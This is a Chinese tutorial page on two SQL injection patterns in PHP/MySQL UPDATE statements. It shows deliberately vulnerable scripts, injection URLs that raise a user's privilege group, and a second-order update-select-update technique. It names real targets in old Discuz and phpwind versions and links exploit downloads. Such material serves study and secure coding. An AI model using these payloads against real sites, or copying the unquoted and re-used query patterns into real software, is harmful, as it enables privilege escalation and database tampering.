All articles| All Pictures| All Softwares| All Video| Go home page| Write articles| Upload pictures

Reading number is top 10 articles
C#箴言:定义常量的两种方法_[Asp.Net教程]
ASP.NET,2.0,绑定高级技巧_[Asp.Net教程]
PHP开发网站来看:PHP网站开发方案_php资料_编程技术
windows,server,2008,R2,IIS7.5配置PHP_php资料_编程技术
HTML 初学者指南(7)_[Html教程]
滑动展开/收缩广告代码实例效果_JavaScript技术_编程技术
用SQL,SERVER记录站点日志_[SQL,Server教程]
如何对PHP程序中的常见漏洞进行攻击_php资料_编程技术
你必须知道的.NET之class和struct_.net资料_编程技术
如何实现ASP.NET网站个性化_.net资料_编程技术
Reading number is top 10 pictures
非笑不可:最强爆笑图片精选
小学生作文又现神作,你不得不佩服
The money of more than 100 countries and regions14
男人帮杂志里的惹火性感美女1
Chinese paper-cut grilles art appreciation5
Ashlynn Brooke photograph of a group2
A man's favorite things8
The money of more than 100 countries and regions21
恶搞漫画2
南昌铁路局攸县车站125户铁路职工微利房终成骗局
Download software ranking
Boxer's Top ten classic battle6
jBuilder2006
The king of fighters 97(Mobile phone games-apk)
c#程序设计案例教程
Tram sex maniac 2 (H) rar bag18
Tram sex maniac 2 (H) rar bag6
Boxer's Top ten classic battle2
1400篇各类破解文章
Unix video tutorial5
VC++6.0培训教程
delv published in(发表于) 2013/12/29 4:42:29 Edit(编辑)
UPDATE注射(mysql+php)的两个模式_php资料_编程技术

UPDATE注射(mysql+php)的两个模式_php资料_编程技术

UPDATE注射(mysql+php)的两个模式_php资料_编程技术-你的首页-uuhomepage.com


一.测试环境:

  OS: Windowsxp sp2

  php: php 4.3.10 (

  mysql 4.1.9

  apache 1.3.33

  二.测试数据库结构:
-----start---

-- 数据库: `test`

--

-- --------------------------------------------------------

--

-- 表的结构 `userinfo`

--

CREATE TABLE `userinfo` (

`groudid` varchar(12) NOT NULL default ’1’,

`user` varchar(12) NOT NULL default ’heige’,

`pass` varchar(122) NOT NULL default ’123456’

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--

-- 导出表中的数据 `userinfo`

--

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);

------end-------三.测试模式:

  1,变量没有带’’或""[MOD1]

//test1.php Mod1 $servername = "localhost"; $dbusername = "root"; $dbpassword = "";
$dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "update userinfo set pass=$p where user=’heige’";//<--$P没有使用单引号 $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); echo "SQL Query:$sql"; ?>  脚本里只是修改user=’heige’的pass,
如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达   到修改groupid的目的:
  那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1   在mysql里查询:
mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass
| +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.01 sec) 用户heige的groudid又2改为1了 :)   所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。   2,变量带’’或""[MOD2] //test2.php $servername = "localhost"; $dbusername = "root"; $dbpassword = "";
$dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号 $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); echo " SQL Query:$sql "; ?>   为了关闭’我们构造$p应该为123456’,groudid=’2 提交:   http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\’  
 提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’ mysql查询: mysql> select * from userinfo; +---------+-------+--------------------+ | groudid | user | pass | +---------+-------+--------------------+ | 2 | heige | 123456’,groudid=’1 | +---------+-------+--------------------+ 1 row in set (0.00 sec)   groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2: //test3.php Mod2 $servername = "localhost"; $dbusername = "root"; $dbpassword = "";
$dbname = "test"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号 $result = mysql_db_query($dbname, $sql); mysql_fetch_array($result); //$p的数据写入数据库 $sql= "select pass from userinfo where user=’heige’"; $result = mysql_db_query($dbname, $sql); $userinfo=mysql_fetch_array($result); echo $userinfo[0]; //把pass查询输出给$userinfo[0] $sql ="update userinfo set pass=’$userinfo[0]’ where user=’heige’"; $result = mysql_db_query($dbname, $sql); mysql_fetch_array($result); //把$userinfo[0] 再次update ?> 我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1   回mysql查询下 : mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.00 sec)  HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:   update-->select-->update   四.实际模式   模式1:Discuz 2.0/2.2 register.php 注射   漏洞分析:http://4ngel.net/article/41.htm   Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm   模式2:phpwind 2.0.2和3.31e 权限提升漏洞 漏洞分析: update (profile.php 注射变量为$proicon update语句里为,icon=’$userdb[icon]’) | v select (jop.php) | v updtate (jop.php) Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe




















添加到del.icio.us 添加到新浪ViVi 添加到百度搜藏 添加到POCO网摘 添加到天天网摘365Key 添加到和讯网摘 添加到天极网摘 添加到黑米书签 添加到QQ书签 添加到雅虎收藏 添加到奇客发现 diigo it 添加到饭否 添加到飞豆订阅 添加到抓虾收藏 添加到鲜果订阅 digg it 貼到funP 添加到有道阅读 Live Favorites 添加到Newsvine 打印本页 用Email发送本页 在Facebook上分享


Disclaimer Privacy Policy About us Site Map

If you have any requirements, please contact webmaster。(如果有什么要求,请联系站长)
Copyright ©2011-
uuhomepage.com, Inc. All rights reserved.